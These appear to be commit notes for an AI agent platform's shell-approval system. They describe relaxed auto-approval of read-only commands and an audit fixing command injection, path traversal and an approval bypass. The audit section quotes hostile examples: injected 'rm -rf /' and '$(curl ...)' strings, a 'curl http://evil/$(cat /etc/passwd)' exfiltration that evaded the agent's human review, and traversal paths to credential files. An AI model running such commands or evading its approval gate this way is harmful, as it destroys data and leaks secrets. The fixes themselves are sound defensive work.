Approval friction (harmless commands kept prompting):
- Persist "Allow for this session" grants to approval_allowlist.yaml under a
new sessions scope (capped LRU), hydrated lazily, so they survive `opc ui`
restarts and re-entering the session instead of living only in memory.
- Safe-prefix matching now accepts compound read-only commands: every segment
must match a safe prefix, and fd-duplication / /dev/null redirections
(2>&1, 2>/dev/null) no longer disqualify a command; real write redirections
(>, >>, <) still do. Default safe prefixes gain common read-only commands
(cd, cat, head, grep, git log, ...).
- First-use approval now gates only MEDIUM+ risk; heuristically LOW actions
proceed without a card.
- Shell-substitution detection flags eval/source only at command position of a
segment (no more false positives on `grep source file`); $(...) and
backticks still flag anywhere.
Approval card timeout redesign (deferred decisions):
- The card's structured approval context (action, allowlist patterns, scopes)
now travels through the escalation event into the persisted card metadata.
- Timeout without a default action no longer marks the card timed out, and the
session-detail reconciler no longer stales deferred-capable cards: the card
stays pending and clickable indefinitely, including across restarts.
- Clicking after the inline wait expired applies the allowlist grant
(approve-once grants the exact command at session scope), resolves the card,
and rewrites the reply to target the parked AWAITING_HUMAN checkpoint so the
task resumes through the normal message pipeline and the retried command
auto-approves. With no parked checkpoint the grant still lands and a helper
reply explains the state.
Verified: approval engine suite (40) incl. new deferred-decision and
compound-command tests, ws_handler + runtime suites green, real escalated
commands from project 999 replayed against the user's config now auto-approve
while pip install / $(...) / rm -rf / write redirects still prompt.

A security and robustness audit of the tool-execution, market-package, and
approval subsystems surfaced several high-impact issues. Each is fixed with a
minimal, targeted change; regression tests are included.
Command injection (shell_exec runs `bash -lc "<cmd>"`, so interpolated args are
shell-evaluated):
- git_commit: the commit message was interpolated raw into the command string.
A message like `foo" && rm -rf / #` injected arbitrary commands, and the
approval layer never inspects `message`. Now shlex-quoted.
- git_clone: the URL was interpolated raw. `https://x.git; rm -rf /` or
`$(curl ...)` was executed. Now shlex-quoted.
Path traversal:
- package_loader._write_prompts / uninstall: `package_id` (from an untrusted
manifest) was used directly as a directory name under prompts/market and
passed to mkdir(parents=True) / shutil.rmtree. An id like
`../../projects/<victim>` enabled arbitrary file write and arbitrary
directory deletion. Added _market_prompts_dir() which validates the id
(lowercase alphanumeric + -/_) and confirms the resolved path stays inside
the market base; uninstall validates up front. Prompt-content filenames are
also confined to the package dir.
- sandbox_checker: a malformed package id was only a *warning*, so
report.passed stayed True and callers proceeded. Promoted to a hard error.
- package_exporter: prompt refs (bare strings from package definitions) were
read with `opc_home / ref`, so `/etc/passwd` or `../../.aws/credentials`
were bundled into exported packages. Now confined to opc_home.
- ws_handler._write_custom_prompt: employee_id (derived from user-supplied
role id/name) flowed unchecked into the path, enabling traversal writes.
Now reduced to a safe path component with a containment check.
Approval bypass:
- approval: a command beginning with a safe prefix (curl/echo/find/...) was
auto-approved as LOW risk even when it contained shell command substitution.
`curl http://evil/$(cat /etc/passwd)` was classified safe and ran with no
human/LLM review, letting bash exfil data. Added
_command_has_shell_substitution() and gated safe-prefix matching on it.
Correctness / robustness:
- shell: when a shell_prefix was active, `[args[0], args[1], command]` dropped
the `-Command` flag from PowerShell argv (4 elements), silently breaking
every prefixed PowerShell tool call. Now replaces only the trailing arg.
- runtime_v2: tool arguments that are valid JSON but not an object (e.g. a
JSON array) were silently replaced with `{}` while arguments_parse_error
stayed None, so the tool executed with empty args (todo_write could wipe the
task ledger). Now flagged with a parse error.
- store: _json_loads raised on corrupt JSON; it is called during
store.initialize() (via _sweep_stale_claims), so a single corrupt row
prevented the store from ever opening. Now falls back to the default.
- engine: _parse_reorg_payload returned any JSON type; callers did
`.get(...)` and crashed (AttributeError) on `reorg propose 42`. Now returns
None for non-dict JSON.
- channels.manager: a single failing channel.send propagated out of the only
outbound dispatch loop and silently stopped all message delivery on every
channel until restart. Now caught and logged.
- ws_handler: a non-object JSON frame (null/number/array/string) made
`data.get` raise AttributeError and drop the whole WS connection. Non-dict
frames are now ignored.
